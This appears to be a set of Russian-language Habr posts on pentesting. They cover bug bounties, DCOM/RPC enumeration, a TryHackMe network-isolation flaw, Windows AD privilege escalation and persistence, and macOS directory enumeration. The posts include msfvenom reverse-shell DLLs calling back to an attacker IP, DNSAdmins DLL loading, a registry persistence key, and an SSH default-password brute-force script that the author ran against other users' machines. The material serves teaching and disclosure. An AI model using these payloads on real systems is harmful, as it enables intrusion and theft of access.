Топовые багхантеры вполне могут зарабатывать вплоть до 50 000 долларов в месяц. Да, это вполне реально. Опыт Марка Литчфилда это доказывает. В декабре 2015 года он заработал 47 750 долларов, используя ресурсы Hackerone, BugCrowd и программу PayPal.

Иван Григоров, интервью которого лежит на Хабре, также утверждает, что 25 000 долларов в месяц для опытного пентестера не проблема. Тоже рекомендуем почитать.

По более скромным оценкам, пентестеры действительно могут без особых проблем зарабатывать 2000-3000 долларов каждый месяц только на программах Bug Bounty. Но для этого нужно хорошо разбираться как минимум в одной отрасли программирования. Точнее определить сложно, ведь эффективность пентестера и количество обнаруженных уязвимостей прямо зависит от знаний, опыта и времени, которые багхантер уделяет пентесту.

Но можно сделать примерную оценку. На HackerOne за одну минорную уязвимость платят от 50 до 100 долларов.

При этом даже с минимальной оплатой базов в 50 долларов, средняя выплата пентестерам в некоторых компаниях составляет несколько тысяч. Очень многие пентестеры используют автоматический поиск простых багов и рапортуют о них пачками.

Другие же предпочитают искать более серьёзные уязвимости, за которые оплата побольше.

Вот, к примеру, какую оплату предлагает компания PayPal:

За одну критическую уязвимость компания платит от 2000 до 10000 долларов. Понятно, что найти такую уязвимость совсем непросто, но тем не менее.

Тут уже выбор специалиста: искать редкие, серьёзные и дорогие проблемы или же сосредоточиться и находить небольшие, но часто. Всё остальное зависит от скилла пентестера.

И ещё: мы в одном из предыдущих разделов упоминали, как найти работу пентестеру без сайтов по поиску работы. Bug Bounty один из вариантов. Тут есть секрет, который опытные специалисты не раскрывают.

Помимо открытых программ существуют ещё и закрытые, куда специалистов приглашают лично. Это может быть альфа-версия продукта, сайта или системы безопасности, в которой совершенно точно есть баги и их нужно найти. Создавать открытую программу с сырым продуктом слишком дорого. Поэтому приглашают проверенных пентестеров, которые найдут все или почти все серьёзные и критические уязвимости до старта открытого пентеста.

Стать таким приглашённым тестером довольно несложно. Нужно всего лишь качественно работать на открытых программах. Если вы нашли несколько серьёзных багов, разработчик это заметит. Если он будет нуждаться в закрытом пентесте, то пригласит нескольких специалистов, которые хорошо показали себя в программе. Это дешевле, чем нанимать полноценную команду пентеста. А дальше, если всё всех устраивает, это может превратиться либо в стабильный контракт на подряд, либо в полноценное оформление в штат.

Что нужно знать и уметь пентестеру

Про хард-скилы мы писали в первой статье про этичный хакинг: как взламывать системы и при этом зарабатывать легально. Хотелось бы добавить, что нужны не только знания, но и жизненный опыт. Системный администратор с опытом стрессового поднятия сервера или программист на C++, который ищет ошибку в 200 000 строчках кода, из-за которой всё пошло по наклонной имеют большие шансы быть успешными в пентестинге. Не будем забывать про тестировщиков, у которых тоже есть необходимый бэкграунд. Пентестеру нужен практический опыт и предельно чистое понимание, как работает система или хотя бы её часть.

Попасть в пентест новичку сложно, но возможно. Если вы готовы, научиться всему можно на нашем комплексном курсе Этичный хакер, где студентам в освоении материала помогает опытный ментор, а карьерный специалист поможет с трудоустройством.

Узнайте, как прокачаться в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Построение карты сети

01.06.2021 16:23:51 | Автор: admin

Построение карты сети это длительный процесс. Исследование происходит за счет отслеживания откликов операционных систем на испорченные данные в заголовках сетевых протоколов. Этот подход обычно дает ~ 80% точности. И довольно сложно найти информацию о том, как точно каждая ОС отзывается на подобные воздействия. А что, если будет технология или функция операционной системы, которая на 100% точно будет говорить о состоянии сетевой подсистемы и сообщать дополнительную информацию? Статья расскажет о таких функциях ОС Windows.

Старые как мир технологии

Чтобы получить полную картину того, как ОС Windows представляет свои функции в сети, нужно вспомнить о таких механизмах, как DCOM и RPC.

Remote Procedure Call механизм межпроцессного взаимодействия (IPC). Механизм позволяет обмениваться информацией и вызывать функции в разных процессах в рамках ОС, локальной сети или через Интернет.

Distributed Component Object Model спецификация COM объектов, которая регламентирует правила взаимодействия в сети между объектами. В документации можно встретить формулировку DCOM Remote Protocol.

Два механизма соотносятся по следующей схеме:

Схема взята отсюда

Как это работает? Общая схема работы протокола представлена ниже.

Схема взята отсюда

Основная идея организация взаимодействия осуществляется по клиент-серверной модели. Клиент может запросить по идентификатору запуск процедуры через RPC на сервере. При этом сервер должен самостоятельно произвести поиск нужного обработчика для идентификатора и, если он найден, передать ему информацию в соответствии с моделью безопасности. Затем информация о доступности и, по возможности, результат возвращается клиенту.

Кстати, о модели безопасности, на схеме красными прямоугольниками выделены те интерфейсы, которые в некоторых случаях можно использовать без прохождения процедуры авторизации.

Что интересного для карты сети

DCOM для Offensive уже изучался на BlackHat 2004. В выступлении было очень много информации, которая может быть использована для версий Windows вплоть до Windows Server 2003. Вот список некоторых действий, которые можно выполнять:

  • Сбор информации о конфигурации ОС (не требует авторизации);

  • Перебор паролей для учетных данных пользователей;

  • Отправка запроса на создание задач ScheduledTask, а так же удаление, просмотр;

  • Просмотр состояния сервисов (авторизация требуется).

Выступление рассказывало уже о конкретных идентификаторах, которые можно использовать для воздействий на ОС. Попробуем выяснить, всё ли так же работает спустя 17 лет, заодно и узнаем как получить конфигурацию сетевой подсистемы ОС.

Практика

Для эксперимента будем использовать 3 виртуальные машины:

  • Windows 10

  • Windows 7

  • Windows 8

Каждая виртуальная машина будет подключена как минимум к двум сетям, которые будут включать в себя разные сегменты. Тестовой виртуальной машиной станет Kali Linux. Попробуем собрать скрипты и приложения для сбора информации о системе посредством RPC. Список инструментов представлен ниже:

  • nmap script rpcinfo.nse - собирает порты rpc и пишет, по возможности имя сервиса, который их использует;

  • impacket rpcdump.py - получает информацию из rcp сервисов;

  • impacket rpcmap.py - собирает endpoint порты, которые ожидают коннекта;

  • Metasploit module auxiliary/scanner/dcerpc/endpoint_mapper - поиск endpoint;

  • Metasploit module auxiliary/scanner/dcerpc/hidden - поиск скрытого сервиса;

  • Metasploit module auxiliary/scanner/dcerpc/management - получение данный из RMI DCERPC;

  • Metasploit module auxiliary/scanner/dcerpc/tcp_dcerpc_auditor - поиск названий сервисов, которые используют DCERPC;

  • IOXIDResolver.py - скрипт для получения данных о конфигурации сетевой подсистемы;

Попробуем работоспособность инструментов на виртуальных машинах:

Windows 7

Результаты nmap:

Результаты Metasploit:

На картинке представлена часть endpoint сервисов.На картинке представлена часть endpoint сервисов.

Hidden services

Management

TCP Auditpr

Результаты IOXIDResolver:

Windows 8

Результаты nmap:

Результаты Metasploit:

endpoint_mapper

На картинке представлена часть endpoint сервисов. На картинке представлена часть endpoint сервисов.

Hidden services

Management

TCP auditor

Результаты IOXIDResolver:

Windows 10

Результаты nmap:

Результаты Metasploit:

На картинке представлена часть endpoint сервисов. На картинке представлена часть endpoint сервисов.

Hidden services

Management

TCP auditor

Результаты IOXIDResolver:

Рассмотренные в статье механизмы не просто до сих пор работают, но и развиваются. Из перечисленных инструментов IOXIDResolver может позволить получить данные о настройке сетевой подсистемы, а другие инструменты могут помочь определить версию ОС и, при недостаточной конфигурации, возможность управления ОС или получения учетных данных пользователей.


Статья подготовлена Александром Колесниковым, преподавателем курса Пентест. Практика тестирования на проникновение. Если интересно узнать о курсе больше, приходите на день открытых дверей онлайн, где Александр расскажет о формате и программе обучения.

Подробнее..

Hack Me на TryHackMe, или Небезопасное изучение инфобеза на известной платформе

15.06.2021 16:19:06 | Автор: admin

Привет, Хабрчане. Сегодня мы поговорим об одной проблеме, которую обнаружил мой хороший знакомый Иван Глинкин.

Это очень серьезный косяк с безопасностью платформы для обучения пентесту TryHackMe. Заключается он в том, что виртуальные стенды видят абсолютно все в сети, и их можно использовать для атаки на пользователей сервиса.

Написать эту статью меня подтолкнули 3 причины:

  1. Прошло уже более двух недель, а воз и ныне там. Никаких действий со стороны платформы TryHackMe не последовало;

  2. Платформа ответила только хамством, а затем забанила аккаунт Ивана (об этом далее);

  3. Автору оригинала очень лень переписывать статью на русском языке.

DSCLAIMER

Эта уязвимость была изначально найдена не мной, но я получил у автора оригинала разрешение на использование материалов оригинальной статьи и публикацию на русском языке. И уже я перепроверял, что конь всё ещё не валялся в системе инфобеза платформы TryHackMe, и использовать ее, мягко говоря, не очень безопасно. Ссылка на оригинальную статью.

Завязка сюжета

Есть много разных платформ для обучения инфобезу. И коль скоро эти платформы затрагивают такой важный в IT-отрасли сегмент, то неплохо было бы им самим соответствовать. Так мы думаем, когда заходим на них.

Однако, как показала практика, тут тоже работает славный принцип х*як, х*як, и в продакшн.

Когда мы подключаемся по VPN к платформе, мы не можем взаимодействовать с другими хостами в сети, кроме самих виртуальных машин для взлома. Верно? Верно!

Ну, а что по поводу самих виртуальных стендов? Они-то, наверное, тоже не могут взаимодействовать с кем попало?

А вот и нет! Виртуальный стенд, как оказалось, видит всех и вся в сети.

В качестве тестовой точки я выбрал виртуалку Basic Pentesting.

В роли атакующего у нас ...В роли атакующего у нас ...

Быстренько получив пользователя kay по сюжету виртуалки, начнем проверять, как же TryHackMe решила проблему с тем, что виртуалка может взаимодействовать с абсолютно всеми пользователями. Проверяем свою же подсеть. В моем случае это была 10.9.5.0

for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done
Ищем живых соседейИщем живых соседей

Жизнь есть. Так, а другие подсети видим? Ну, например, 10.9.4.0

Ищем ещеИщем еще

Видим ...

Так, отставить панику! Это же еще ничего не доказывает и не значит, что я смогу подключиться по SSH или проверить, есть ли там поднятый Apache.

Сводим все живые IP адреса в вордлист и пробегаем их nc по 80 порту, благо nc заботливо установлен админами платформы.

for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done
Ищем открытый 80 портИщем открытый 80 порт

А вот и первые претенденты. CURLлуем 10.9.4.252 и видим там типичный листинг директории www человека, который решает виртуалки:

Уверен, что у многих директория веб-сервера на Kali выглядит примерно такжеУверен, что у многих директория веб-сервера на Kali выглядит примерно также

Кульминация

А вот давайте и проверим, че там по SSH. Тут тоже применим немножко автоматизации. Закидываем на стенд sshpass, благо и curl, и wget уже заботливо установлены админами платформы заранее. Как говорится, всё для вас, даже вода из-под крана.

Опа! Не ставится.

Прав нет. А если найду?Прав нет. А если найду?

Ну root-то точно на стенде закрыт! Для итогового выполнения упражнения стенда root не нужен, а, стало быть, и у пользователя kay не должно быть прав на sudo. Верно же?

Ну, тут даже без комментариев Ну, тут даже без комментариев

Устанавливаем sshpass и колдуем легкий скрипт в bash для перебора:

#!/bin/bashfor ip in {2..255}do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1)if [ ! -z $ip_check ]thenecho -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m";nc -vz -w 2 $ip_check 22 > log.txt 2>&1;ssh_refused=$(grep -o "refused" log.txt)ssh_timeout=$(grep -o "timed" log.txt)if [ ! -z $ssh_refused ]thenecho -e "\e[01;31mSSH is closed. Going further. \e[00m";echo " ";elif [ ! -z $ssh_timeout ]thenecho -e "\e[01;31mSSH doesn't respond. Going further. \e[00m";echo " ";elseecho -e "\e[01;32mSSH is open. Trying to connect... \e[00m";sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check;sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check;sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check;echo " ";fifidonerm log.txt;echo -e "\e[01;32mEnumeration has been finished! \e[00m";

Развязка

Проверять будем 3 самые основные связки логин/пароль для Kali и Parrot OS:

  • kali:kali

  • root:toor

  • user:toor

ПОЕХАЛИ!ПОЕХАЛИ!

А вот и первый БЕЗОПАСНИК с дефолтными логином и паролем. И сразу натыкаемся на ovpn файл для доступа к TryHackMe. Если у человека оплачен VIP, то мы только что сэкономили на подписке

Привет привет ovpn файлПривет привет ovpn файл

Пробуем sudo

Ну как бы вот ...Ну как бы вот ...

Эпилог

Какие из всего этого следуют практические выводы?

Ну, самый очевидный: система инфобеза TryHackMe полное **** нужно менять дефолтные пароли на своих Kali и Parrot OS на более безопасные. Обезопасит ли это в полной мере вас при вот таком вот уровне защиты сети на платформе TryHackMe? Определённо нет.

Думаю, мне не стоит тут перечислять, что, помимо простого брутфорса SSH, существует еще куча методов получить доступ к вашей системе. А дальше можете выбрать, что злоумышленник захочет:

  1. Включить вашу рабочую машину в ботнет;

  2. Покопаться во внутрикорпоративной сети компании и вашей личной инфе;

  3. Провести атаки на другие ресурсы с использованием вашей пентест-машины и из-под вашего IP;

  4. Помайнить криптовалюты на вашем оборудовании (а почему бы, собственно, и нет?);

  5. Всё, что пришло вам в голову к этому моменту

А также не забываем, что после перезагрузки стенда вся информация с него удаляется, в том числе и логи. Можно, конечно, уповать на то, что у TryHackMe всё обязательно логируется и записывается, особенно все действия пользователя на виртуалках, но что-то мне мало верится в реальность этого варианта.

Особенно меня порадовала реакция платформы TryHackMe на багрепорт всей этой ситуации.

Первичный отчет был направлен в TryHackMe 2 мая 2021. Оригинальная статья вышла 25 мая 2021. Вместо того, чтобы заняться решением этой проблемы, руководство платформы TryHackMe прислало письмо, в котором просто решило прикрыться пунктом 9 правил пользования платформой.

TryHackMe на полном серьёзе считает, что всё у них нормально, и что вместо принятия технических мер можно ограничиться вот этой вот писулькой в правилах пользования платформой. Она как-то сможет оградить пользователей от реальных злоумышленников?

Ну и вишенка на торте:

Бан аккаунта. Отличная работа, TryHackMe. Вместо решения проблемы вы просто забанили человека, который указал вам на косяк в системе инфобеза

Решайте сами, стоит ли пользоваться вот такими образовательными порталами, которые спокойно позволяют взламывать своих пользователей.

Лично моё мнение: в случае реальной атаки на вас платформа просто открестится от ответственности всё тем же замечательным пунктом 9 своего соглашения.

Ну а что? Это же не платформа положила болт на защиту пользователей, а злоумышленник, наплевав на все писульки TryHackMe, просто взял и использовал ваш Kali для противоправных действий в адрес третьих лиц.

Подробнее..

Барахолка для Пентестера

17.06.2021 14:15:17 | Автор: admin

Цель статьи - собрать интересные инструменты, техники и команды, которые можно использовать для выполнения задач при проведении тестирования на проникновение. Краткий список того, что будет в этой статье:

  • Что такого с DNSAdmins?

  • Persistence

  • Можно ли обойтись без Bloodhound?

DNSAdmins

Тестирование на проникновение для сети, где работают сервисы Windows AD достаточно распространенная задача, которая стоит перед пентестером. Чтобы её успешно выполнить - найти все возможные недочёты в настройке и заполучить максимальные права, нужно проверить максимальное количество векторов атак.

Что такого с DNSAdmins? Представим, что у нас есть инфраструктура Windows AD, и нам нужно захватить базу пользователей, которые находятся на контроллере домена. Ситуацию будем воспроизводить на виртуальном стенде. Состав стенда:

  • Windows Server 2019 в стандартной настройке Windows AD, ip адрес: 192.168.1.172

  • Kali Linux в качестве атакующей машины, ip адрес: 192.168.1.3

Настройка стенда, начальные условия:

  • атакующий получает доступ к учётной записи, которая принадлежит группе DNSAdmins

  • у учетной записи жертвы включен удаленный доступ через WinRM;

Что такое DNSAdmins с точки зрения Windows AD? Информацию об этом можно найти здесь.

Группа, которая отвечает за функционирование сервиса DNS. Сервис достаточно важный для всей инфраструктуры. Дело в том, что любой объект, который существует в AD будет обрабатываться только после запроса к DNS серверу. Поэтому, если сервис скомпрометирован, можно заставить всю инфраструктуру работать так как нужно атакующему. Самыми разрушительными атаками могут стать атаки MiTM, которые могут быть проведены, если DNS сервис использует не верно сконфигурированный сетевой интерфейс IPv6. Для тех, кто интересуется этой атакой можно почитать подробности здесь.

Но что же будем использовать мы? Мы обратим сегодня внимание на то как сервис DNS работает со специальным механизмом, который описан здесь, как механизм процессинга эвентов и последовательностей. Механизм позволяет задействовать различные функции сервера от RPC механизмов до доступа к базе записей DNS. Во всех этих данных нас интересует обработка R_DnssrvOperation. Это старая функция, которая позволяет DNSAdmin пользователям загружать в память процесса сервиса DLL библиотеку. Эта библиотека не проходит механизма проверки и поэтому еэ можно попытаться использовать для получения максимальный привилегий в системе.

Атака производится в несколько этапов:

  • Генерация dll библиотеки. В этом этапе будем использовать msfvenom. Генерировать при этом лучше payload, который будет использовать максимально легковесный и простой шелл. В нашем случае это windows/shell/reverse_tcp. Команда для генерации следующая:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f dll -o test.dll

Доставлять библиотеку будем через http сервер. На Kali машине можно воспользоваться вот такой командой из директории, где лежит сгенерированная библиотека:

python3 -m http.server 7979
  • Скачиваем библиотеку на рабочее место пользователя DNSAdmin группы. В нашем случае это пользователь test3. Сделать это можно, например через команду в Powershell:

Invoke-WebRequest -URI "http://192.168.1.3:7979/test.dll -OutFile "C:\Users\test2\Desktop\test.dll"
  • Запускаем слушателя. Можно пользоваться модулем exploit/multi/handler. Предварительно его настроив, примерно так:

nc -lvp 4444
  • Запускаем атаку на машине жертвы. Для этого этапа нужно получить данные о пароле пользователя:

dnscmd.exe /config /serverlevelplugindll C:\Users\Test2\Desktop\test.dllsc stop dnssc start dns

В итоге, проверяем привилегии в полученном shell:

Persistence

После получения доступа к системе, не всегда есть возможность сделать стабильный доступ. Использование методов автоматизации тестирования на проникновения может привести к различным последствиям. От выхода из строя тетсируемой системы до ухода в перезагрузку. Чтобы была возможность снова получать доступ и делать это автоматически, можно воспользоваться механизмами закрепления.

Закрепление, обычно осуществляется за счет мест в ОС, которые используются для автоматического запуска команд и приложений. Как правило это системные приложения или сервисы. Рассмотрим один из них.

Добавление собственной dll в ветку реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors.

Метод использует механизм "Windows Print Spooler". Это механизм при старте системы запускает монитор, который указан в одноименном значении реестра. Так как запуск производится от имени пользователя "System", то и привилегии там получаются соответствующие. Для удобства использования механизма, можно в реестр прописывать не файл из локальной директории, а SMB шару.

Метод по шагам:

  • Создаём dll:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=6666 -f dll -o test.dll
  • открываем слушателя на Kali Linux:

sudo nc -lvvp 6666
  • расшариваем для доступа dll:

smbserver.py -smb2support test /root
  • добавляем в реестр dll:

wmic /node:192.168.1.10 /user:"lab\test2" /password:Qwerty!@ process call create "reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Slayer" /v "Driver" /d "\\192.168.1.3\test\test.dll" /t REG_SZ"
  • перезагружаем ОС и получаем доступ к системе.

Метод так же можно осуществить за счет выполнения от имени администратора файла, который будет собран из вот этого исходника:

#include <windows.h>int main(){    MONITOR_INFO_2 mon;    TCHAR name[14] = TEXT("MonitorSlayer");    TCHAR arch[12] = TEXT("Windows x64");    TCHAR dll[39] = TEXT("\\\\192.168.1.3\\test\\test.dll");    monitorInfo.pName = name;    monitorInfo.pEnvironment = arch;    monitorInfo.pDLLName = dll;    AddMonitor(NULL, 2, (LPBYTE)&mon);    return 0;}

Попробуйте теперь обратиться к SMB шаре. И запустить любую команду оттуда.

Можно ли обойтись без Bloodhound?

Bloodhound - инструмент для получения информации о инфраструктуре под управлением Windwos AD. Позволяет собирать информацию, которая может быть использована для нахождения особых привелегий, которые позволяют компрометировать систему.

Инструмент работает по всем известным механизмам для сбор данных об инфраструктуре:

  • ldap

  • kerberos

  • SMB

  • DCOM

  • RPC

Запросы формируются с учетом тех потребнойстей, которые были запрошены пользователем. Дополнительно к этому, инструмент способен собирать информацию об активных сессиях пользователей на машинах.

Инструмент довольно полезный, но что если нам не нужно запускать так много команд, и хочется собрать только точечную информацию об AD? Можно ли выполнить тоже самое? На самом деле да, но нужно уметь пользоваться инструментами для сбора информации. Рассматривать будем инструмент dnsquery.exe. Этот инструмент поставляется со специальным набором инструментов RSAT. Кстати, отправка запросов возможна только, если используется сессия от имени "System".

Схема использования инструмента следущая:

dsquery <тип объекта> <фильтры> <опции>

Типы объектов:

WildCard Computer Contact Group OU Site Server User Quota Partition

Пример выдачи запроса к поиску пользователей:

Пример выдачи запроса к поиску групп:

Таким образом можно производить сбор информации об объектах Windows AD. Остальные тесты предлагается выполнить читателю самостоятельно.


Статья подготовлена экспертом OTUS - Александром Колесниковым в преддверии старта курса "Пентест. Практика тестирования на проникновение"


Подробнее..

Pentest Enumiration for macOS

08.12.2020 16:17:05 | Автор: admin

Привет, хабровчане. В преддверии старта курса "Пентест. Практика тестирования на проникновение" приглашаем записаться на открытый урок по теме "Windows ad: сбор информации, эскалация привилегий".


А также хотим поделиться с вами ещё одной авторской статьёй от нашего эксперта - Александра Колесникова.


Обычно инфраструктура строится на базе операционных систем Linux и Windows. И казалось бы, зачем разбираться в проблемах других операционных систем? Всё просто. Пентест это постоянное развитие, изучение новых технологий. К тому же машины в инфраструктуре, которые работают на базе операционной системы macOS, уже и не такая редкость.

Статья не претендует на полноту информации по платформе MacOS, а лишь демонстрирует механизмы и данные, которые по мнению автора могут быть полезны.

MacOS

MacOS операционная система, которая в России воспринимается как проприетарная система для Яблочных компьютеров и ноутбуков. Эта операционная система, с точки зрения пользователя, в одно и тоже время похожа и непохожа на Linux. Как утверждает документация, операционная система работает на ядре XNU (X is Not Unix). Что говорит о том, что что-то должно делать эту операционную систему уникальной. Архитектура операционной системы, согласно документации, выглядит так:

Красным выделены потенциально интересные подсистемы для проведения тестирования на проникновения. В этой статье мы рассмотрим сбор информации через Directory Services. Из схемы видно, что под капотом очень много всего, что нельзя найти в других операционных системах. В первую очередь бросается в глаза обилие фреймворков, которые использует операционная система, также внутри операционной системы есть часть библиотек BSD проекта. Самое необычное, что так же можно найти в некоторых версиях операционной системы MacOS это фрагменты операционной системы Darwin, которая вообще существует как Open Source проект.

Операционная система macOS существует в 2х версиях:

  1. MacOS пользовательская версия, предустановлена на всю технику Apple.

  2. MacOS Server отдельная версия, которая устанавливается дополнительно из магазина приложений и предоставляет функционал сервера.

Сервер может использоваться для управления парком машин от Apple, а может служить провайдером для интеграции в другие инфраструктурные сервисы. С точки зрения управления устройствами и учетными данными в корпоративной сети у MacOS есть MDM и OpenDirectory набор сервисов, который доступен в версии Server. Для того чтобы это заработало, могут понадобиться дополнительные оснастки из магазина приложений. Набор сервисов, которые может предоставить macOS Server:

  1. Open Directory сервис, аналог Active Directory в OC Windows.

  2. Profile Manager сервис для управления профилями пользователя на устройствах.

  3. Xsan сервис для предоставления общего доступа к директориям.

Очень похоже на то, что мы видим в Active Directory. Вообще системы под управлением MacOS, по заверению разработчиков, могут интегрироваться в любую инфраструктуру, в частности, в Windows AD. MacOS так же имеет собственный набор сервисов Open Directory аналог Active Directory.

MacOS пользователи и группы

Как и любая другая современная операционная система, macOS предоставляет многопользовательский интерфейс. И, так же как и другие операционные системы, включает обычных и системных пользователей. Узнаем, каких пользователей возможно создать из интерфейса macOS (System Preferences->Users&Groups):

  1. Standart user обычный пользователь, не может производить настройки операционной системы.

  2. Administrator пользователь, который может устанавливать новое программное обеспечение, настраивать систему, управлять другими учетными записями.

  3. Sharing Only пользователь, которого можно создать для возможности расшаривания директорий и ресурсов операционной системы.

  4. Groups объединение пользователей, так же как в Linux/Unix операционных системах, группа имеет свой набор привилегий, которые получает каждый пользователь группы.

На просторах документации нашелся еще и root, но Apple не рекомендует включать этого пользователя. Похоже, что не только Windows любит скрывать дополнительных пользователей. Больше информации из пользовательского интерфейса выудить не удалось, но среди команд, которые доступны из терминала есть команда dscl терминальный инструмент для работы с сервисами директорий иными словами, этот инструмент позволяет собирать информацию о конфигурации операционной системы и инфраструктуры, где она работает.

Например, вот так можно глянуть, какие есть в системе пользователи, ключевой момент ВСЕ пользователи, включая системных:

dscl . ls /Users

На рисунке выше представлен лишь фрагмент списка пользователей, на самом деле в системе, в которой работает 1 пользователь, этот список состоит аж из 141 пользователя. Вот где была загвоздка всех этих простых пользователей, которые создаются из интерфейса операционной системы.

Список пользователей получили, теперь нужно узнать о привилегиях. Данные в macOS хранятся очень схоже с тем, как это хранится в Windows AD. Каждый пользователь это объект у которого есть свой набор property значений. Чтобы эти значение показать, нужно заменить команду ls на cat:

dcsl . cat /Users/daemon

Судя по выводу инструмента перед нами пользователь, который не имеет командной оболочки и используется для системы. Попробуем глянуть более живого пользователя, например root:

Данные более чем исчерпывающие, в выводе есть перечень прав и характеристик пользователя в формате plist формат файла с помощью которого iOS и macOS описывают объекты и назначают права. Так же здесь есть Property которые используются чтобы интегрироваться в Active Directory. Это можно видеть по SMBSID, RecordName и UniqueId. Использовать эти данные можно на этапе исследования сети. Вообще инструмент dscl может намного больше:

dscl . ls /

На снимке представлены дополнительные объекты, которые так же можно изучить в процессе сбора информации и взаимодействия с Active Directory из скомпроментированной macOS. Для аналогии, в операционной системе Windows для части действий по сбору информации есть команда net users/net groups.

MacOS Active Directory

Перенесемся из локальной версии операционной системы в AD. Предположим, что нам удалось скомпрометировать машину под управлением macOS. Что же теперь можно сделать, как собрать данные? Как перечислить объекты через LDAP? Как получить информацию о конфигурации домена? Как собрать данные о компьютерах в сети?

Получим список пользователей:

Можно еще подробнее получить данные, которые будут содержать больше информации:

Вот так можно собрать информацию по машинам в домене:

Команда для изучения данных о домен в целом:

Из вывода команды можно установить домен, настройки домена и данные по парольной политике.

Вывод

Изучение большого количества технологий все же приносит свои плоды. Знание механизмов операционных систем отличных от тех, которые используются в корпоративной среде, может позволить повысить сложность и продуманность проведения тестирования на проникновение. В данной статье было продемонстрировано, как можно, не прибегая к сторонним инструментам, собирать информацию о инфраструктуре, имея доступ к обычному пользователю в ОС macOS. А сколько еще всего можно сделать для успешного тестирования? По атакам на операционную систему macOS рекомендую заглянуть сюда.


Узнать подробнее о курсе "Пентест. Практика тестирования на проникновение".

Записаться на открытый урок по теме "Windows ad: сбор информации, эскалация привилегий".

Читать ещё:

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru